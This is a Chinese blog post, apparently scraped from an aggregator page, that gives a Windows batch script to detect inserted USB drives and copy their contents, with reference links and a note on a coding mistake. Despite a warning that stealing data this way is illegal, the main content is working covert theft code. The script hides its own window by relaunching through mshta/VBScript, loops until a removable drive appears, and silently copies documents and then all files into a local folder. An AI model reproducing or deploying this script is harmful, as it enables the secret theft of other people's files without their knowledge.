用批处理文件检测u盘并进行复制

警告:未经他人同意使用这种方法偷数据属于违法行为

参考文献:

判断u盘是否插入

http://ask.zol.com.cn/x/7702063.html


其它

http://www.bubuko.com/infodetail-921330.html

https://zhidao.baidu.com/question/99803169.html

http://blog.csdn.net/sumang_87/article/details/6070442

http://www.jb51.net/article/18979.htm

https://zhidao.baidu.com/question/6974583.html

http://www.bubuko.com/infodetail-921330.html

https://zhidao.baidu.com/question/135755629106981645.html

关于xcopy:

http://blog.csdn.net/hellokandy/article/details/52367906

http://www.jb51.net/article/48948.htm

http://bbs.csdn.net/topics/350148321/


关于连接符:

https://zhidao.baidu.com/question/918430276432946939.html?qbl=relate_question_1&word=cmd%20%26%26%20%D7%F6%C5%D0%B6%CF


源码

if "%1"=="hide" goto CmdBegin
start mshta vbscript:createobject("wscript.shell").run("""%~0"" hide",0)(window.close)&&exit
:CmdBegin 
echo off
:scan
for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
	fsutil fsinfo drivetype %%i: | findstr /i "可移动驱动器" >nul 2>nul && set find=1
	if defined find (
	xcopy %%i:\*.ppt  C:\Users\temp\%%i /i/c/y/s
	xcopy %%i:\*.pdf  C:\Users\temp\%%i /i/c/y/s 
	xcopy %%i:\*.doc  C:\Users\temp\%%i /i/c/y/s 
	xcopy %%i:\*.*  C:\Users\temp\%%i /i/c/y/s
	goto end
	)
)
goto scan
:end
编程过程中想当然的使用了c语言的想法,定义一个变量来进行状态变化的设定
for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
	fsutil fsinfo drivetype %%i: | findstr /i "可移动驱动器" >nul 2>nul && set fifnd=1
	set fifnd=1
	if %fifnd% == 1 (echo %%i)
)
https://www.zhihu.com/question/26860370

这是错误的

因为用批处理文件检测u盘并进行复制_第1张图片

用批处理文件检测u盘并进行复制_第2张图片

你可能感兴趣的:(用批处理文件检测u盘并进行复制)